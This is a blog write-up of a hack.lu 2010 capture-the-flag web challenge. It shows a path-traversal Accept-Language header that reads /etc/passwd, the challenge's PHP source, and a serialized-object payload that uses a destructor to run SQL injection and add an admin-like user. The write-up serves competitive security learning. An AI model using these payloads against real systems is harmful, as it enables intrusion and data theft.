hack.lu CTF - Challenge 21 WriteUp

Tue 02 November 2010 by gabriel

Guillaume was giving a talk at the Hack.lu 2010 conference in Luxembourg, where we enjoyed to participate to the Capture The Flag. After intense competition against about 70 teams, we finally ended at the 1st place. Congratulations to FluxFingers who organized the CTF and did an impressive work, both for providing original challenges and letting it open to local and remote teams!

The goal of the web challenge 21 was to guess how much gold Jack, the leader of the PIGS' organisation, had stolen so far. A quick look at the website shows that there aren't much entry points from an attacker point a view:

  • A support interface to upload language files. If we try to upload any file, a message warns us that the upload is aborted because our language file has not been signed.
  • A contact form.
  • A hidden administration area (link in the HTML source), which requires a valid username and password.

The particularity of the website is that 10 international languages are supported, as shown by the little flags at the top of the menu and the support page:

We ship gold all over the world and are doing our best to make our internationalbusiness as comfortable as possible for our customers. Our website supports 10international languages (automatically detected) and we are always looking forhelp to support new languages. If you are interested, please contact us for moreinformation and to receive the key for signing your language file. We would liketo thank all contributors!

There aren't many standard ways to guess a browser language, and playing with the Accept-Language HTTP header promptly reveals a flaw that allows us to read any file on the system (respecting www-data read permissions). The following HTTP request returns the content of /etc/passwd:

GET /PIGS/ HTTP/1.0
Host: pirates.fluxfingers.net
Accept-Language: ../../../../etc/passwd

Thus, we can gather the whole PHP sources of the PIG web application, and start some code source auditing:

  • sources/config.php
  • sources/index.php
  • sources/worker/funcs.php
  • sources/worker/mysql.php
  • sources/html/index.php
  • sources/html/admin.php
  • sources/html/upload.php
  • sources/html/header.php
  • sources/html/services.php
  • sources/html/contact.php
  • sources/html/footer.php

A quick grep over the sources for dangerous functions doesn't give any results, so we started to look at the code responsible of the signed file upload.

Upload

Here's the PHP code responsible of file upload:

define("MESSAGES",   "messages/");
define("SECRET_KEY", "p1r4t3s.k1lly0u");

function signed($file) {
  $data = file_get_contents($file);
  if (!($messages = unserialize($data)))
    return false;
  else if ($messages['secretkey'] !== SECRET_KEY)
    return false;
  return true;
}

if (!empty($_FILES) && !empty($_FILES["userfile"]["name"])) {
  if (!@is_file(MESSAGES . $_FILES["userfile"]["name"]))  {
    if (signed($_FILES["userfile"]["tmp_name"]))  {
      if (move_uploaded_file($_FILES["userfile"]["tmp_name"], MESSAGES . $_FILES["userfile"]["name"]))
        print $messages["upload_success"];
      else
        print $messages["upload_fail"];
    }
    else {
      print $messages["upload_notsigned"];
    }
  }
  else {
    print $messages["upload_exists"];
  }
}

The code is straightforward, we can upload any file to the messages/ folder under the condition that the file is signed: its content must be successfully unserialized by PHP, and the 'secretkey' field must be equals to p1r4t3s.k1lly0u. The following PHP code produces a signed file which can successfully be uploaded, but it is not interesting for now, as the accesses to the messages/ folder are protected by an .htaccess.

$message = array(
  'secretkey' => 'p1r4t3s.k1lly0u',
  'footer'    => 'pwn'
);

echo serialize($message);

Serialization

By browsing the source code, nothing seems interesting except the worker/mysql.php script:

class sql_db {
  var $db_connect_id;
  var $log_table;
  var $query_result;
  var $row = array();
  var $rowset = array();
  var $num_queries = 0;

  function __wakeup()  {
    if ($this->persistency)
      $this->db_connect_id = mysql_pconnect($this->server, $this->user, $this->password);
    else
      $this->db_connect_id = mysql_connect($this->server, $this->user, $this->password);

    if ($this->db_connect_id) {
      if ($this->dbname != "") {
        $dbselect = mysql_select_db($this->dbname);
        if(!$dbselect) {
          mysql_close($this->db_connect_id);
          $this->db_connect_id = $dbselect;
        }
      }
      return $this->db_connect_id;
    }
    else {
      return false;
    }
  }

  function sql_close() {
    if ($this->db_connect_id) {
      $this->createLog();
      if ($this->query_result)
        mysql_free_result($this->query_result);
      mysql_close($this->db_connect_id);
      return true;
    }
    else {
      return false;
    }
  }

  function createLog() {
    $ip        = $this->escape($_SERVER['REMOTE_ADDR']);
    $lang      = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
    $agent     = $this->escape($_SERVER['HTTP_USER_AGENT']);
    $log_table = $this->escape($this->log_table);
    $query     = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
    $this->sql_query($query);
  }

  function escape($string) {
    if (!get_magic_quotes_gpc())
      return mysql_real_escape_string($string, $this->db_connect_id);
    else
      return $string;
  }

  function __destruct() {
    $this->sql_close();
  }

The sql_db class contains the 2 special methods, __wakeup and __destruct:

  • Conversely, unserialize() checks for the presence of a function with the magic name __wakeup. If present, this function can reconstruct any resources that the object may have. The intended use of __wakeup is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
  • The destructor method will be called as soon as all references to a particular object are removed or when the object is explicitly destroyed or in any order in shutdown sequence.

The __wakeup method allows us to reconstruct the log_table attribute which is used by the createLog() method, called by __destruct(). Luckily, there's an SQL injection in the query built by createLog(): even if the escape method is applied to the query, $log_table is not quoted.

Final exploit

We can determine the user table's fields thanks to some functions in worker/funcs.php:

function login() {
  global $db;

  $name = $db->escape($_POST['name']);
  $pass = $db->escape($_POST['pass']);
  $result = $db->sql_query("SELECT name FROM users WHERE name='$name' and password='$pass'");
  if($db->sql_numrows($result) > 0)
    return true;
  return false;
}

function printGold()
{
  global $db;

  $name = $db->escape($_POST['name']);
  $result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
  if ($db->sql_numrows($result) > 0) {
    $row = $db->sql_fetchrow($result);
    echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
  }
}

The INSERT ... SELECT allows us to read the gold value from the users table, and create a new user a with password a in the same table. Some hex encoding avoid the use of quotes, and the comments ignore the rest of the query:

INSERT INTO users(name,gold,password) SELECT 0x61,gold,0x61 FROM users;-- VALUES ('', '$ip', '$lang', '$agent')

Here's the code that generates a signed file. Once uploaded, the call to unserialize creates a new sql_db object. At the end of the script execution, a call to __destruct() will occurs, which triggers the SQL injection. Eventually, we just connect with the login and password a:a, and read the gold value.

class sql_db {
  var $persistency   = true;
  var $db_connect_id = false;

  var $user      = 'pigs';
  var $password  = 'pigs';
  var $server    = 'localhost';
  var $dbname    = 'pigs';

  var $log_table = 'users(name,gold,password) SELECT 0x61,gold,0x61 FROM users;--';
}

$message = array(
  'secretkey' => 'p1r4t3s.k1lly0u',
  'pwn'       => new sql_db()
);

echo serialize($message);

This challenge was especially interesting, since it differs greatly from ordinary web challenges which are generally quite boring and repetitive. This one combines several different class of vulnerabilities, from SQL injection to unserialization flaw, including file disclosure. Notice that if you want to give some challenges a try, they're still up!